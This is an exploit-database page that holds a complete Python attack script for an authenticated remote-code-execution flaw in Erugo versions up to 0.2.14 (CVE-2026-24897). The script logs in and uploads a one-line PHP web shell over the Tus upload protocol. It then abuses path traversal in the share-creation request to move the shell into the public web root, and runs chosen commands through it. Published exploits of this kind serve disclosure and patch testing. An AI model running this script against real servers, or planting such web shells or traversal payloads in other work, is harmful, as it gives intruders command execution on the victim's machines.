Share
## https://sploitus.com/exploit?id=PACKETSTORM:220373
# Exploit Title: Erugo <= 0.2.14 - Authenticated Remote Code Execution (RCE)
    # Date: 2026-02-02
    # Exploit Author: Abdul Moiz
    # Vendor Homepage: https://github.com/ErugoOSS/Erugo
    # Software Link: https://hub.docker.com/layers/wardy784/erugo/0.2.14/images/sha256-d3da70b337212a6c774b7028256870274edc2ac40536fcc0f1706cbbc4ed4fbf
    # Version: <= 0.2.14
    # Tested on: Linux (Docker)
    # CVE: CVE-2026-24897
    
    import requests
    import json
    import sys
    import time
    import base64
    import argparse
    import random
    import string
    import warnings
    from datetime import datetime, timedelta, timezone
    
    # Disable SSL & Deprecation Warnings for clean output
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    warnings.filterwarnings("ignore", category=DeprecationWarning) 
    
    class ErugoExploit:
        def __init__(self, target, username, password):
            self.target = target.rstrip("/")
            self.username = username
            self.password = password
            self.session = requests.Session()
            
            # Standard Headers
            self.session.headers.update({
                "User-Agent": "Mozilla/5.0 (Exploit-DB)",
                "Accept": "application/json",
                "Tus-Resumable": "1.0.0"
            })
    
            # Generate a random 8-char filename to prevent collisions
            rand_str = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
            self.shell_name = f"{rand_str}.php"
            self.shell_content = '<?php system($_GET["cmd"]); ?>'
    
        def get_csrf(self):
            """Initialize session cookies"""
            print("[*] Initializing session...")
            try:
                self.session.get(f"{self.target}/login", verify=False, timeout=10)
            except Exception as e:
                print(f"[-] Connection failed: {e}")
                sys.exit(1)
    
        def login(self):
            print(f"[*] Authenticating as {self.username}...")
            url = f"{self.target}/api/auth/login"
            data = {"email": self.username, "password": self.password}
            
            try:
                r = self.session.post(url, json=data, verify=False, timeout=10)
                if r.status_code == 200:
                    token = r.json().get("data", {}).get("access_token")
                    if token:
                        self.session.headers.update({"Authorization": f"Bearer {token}"})
                        print("[+] Login Successful.")
                        return True
            except Exception as e:
                pass
                
            print("[-] Login Failed. Check credentials.")
            sys.exit(1)
    
        def upload_payload(self):
            print(f"[*] Uploading {self.shell_name} via Tus Protocol...")
            
            # 1. Tus Creation (POST)
            post_url = f"{self.target}/files/"
            
            # Base64 Encode metadata
            filename_b64 = base64.b64encode(self.shell_name.encode()).decode()
            filetype_b64 = base64.b64encode(b"application/x-php").decode()
            
            headers = {
                "Upload-Length": str(len(self.shell_content)),
                "Upload-Metadata": f"filename {filename_b64},filetype {filetype_b64}"
            }
            
            try:
                r = self.session.post(post_url, headers=headers, verify=False, timeout=10)
                if r.status_code != 201:
                    print(f"[-] Tus creation failed. Status: {r.status_code}")
                    sys.exit(1)
                    
                location = r.headers.get("Location")
                file_id = location.split("/")[-1]
                
                # 2. Tus Data Transfer (PATCH)
                patch_headers = {
                    "Content-Type": "application/offset+octet-stream",
                    "Upload-Offset": "0"
                }
                
                r = self.session.patch(location, headers=patch_headers, data=self.shell_content, verify=False, timeout=10)
                
                if r.status_code == 204:
                    print(f"[+] Payload uploaded. ID: {file_id}")
                    return file_id
                else:
                    print(f"[-] Data upload failed. Status: {r.status_code}")
                    sys.exit(1)
                    
            except Exception as e:
                print(f"[-] Upload error: {e}")
                sys.exit(1)
    
        def trigger_path_traversal(self, file_id):
            print("[*] Creating malicious share...")
            url = f"{self.target}/api/uploads/create-share-from-uploads"
            
            # Fix Date Warning: Use timezone-aware UTC
            tomorrow = datetime.now(timezone.utc) + timedelta(days=1)
            expiry = tomorrow.strftime("%Y-%m-%dT%H:%M:%S.000Z")
    
            payload = {
                "upload_id": "exploit", 
                "name": "exploit_share",
                "recipients": [],
                "uploadIds": [file_id],
                "filePaths": {
                     # VULNERABILITY: Path Traversal
                     file_id: f"../../../../../public/{self.shell_name}"
                },
                "expiry_date": expiry,
                "password": "", 
                "password_confirm": ""
            }
            
            try:
                r = self.session.post(url, json=payload, verify=False, timeout=10)
                if r.status_code not in [200, 201]:
                    print(f"[-] Share creation failed. Status: {r.status_code}")
                    print(f"    Response: {r.text}")
                    sys.exit(1)
                print("[+] Malicious share created.")
            except Exception as e:
                print(f"[-] Error creating share: {e}")
                sys.exit(1)
    
        def execute_command(self, cmd):
            shell_url = f"{self.target}/{self.shell_name}"
            print(f"[*] Executing command: '{cmd}' at {shell_url}")
            
            time.sleep(1) # Wait for filesystem sync
            
            try:
                r = self.session.get(shell_url, params={"cmd": cmd}, verify=False, timeout=10)
                
                if r.status_code == 200:
                    print("\n" + "="*50)
                    print(f"COMMAND OUTPUT:")
                    print(r.text.strip())
                    print("="*50 + "\n")
                else:
                    print(f"[-] Command failed. Status: {r.status_code}")
            except Exception as e:
                print(f"[-] Execution error: {e}")
    
    def main():
        parser = argparse.ArgumentParser(description='Erugo <= 0.2.14 Authenticated RCE')
        parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., http://localhost:9998)')
        parser.add_argument('-u', '--username', required=True, help='User email')
        parser.add_argument('-p', '--password', required=True, help='User password')
        parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')
        
        args = parser.parse_args()
        
        exploit = ErugoExploit(args.target, args.username, args.password)
        
        exploit.get_csrf()
        exploit.login()
        fid = exploit.upload_payload()
        exploit.trigger_path_traversal(fid)
        exploit.execute_command(args.command)
    
    if __name__ == "__main__":
        main()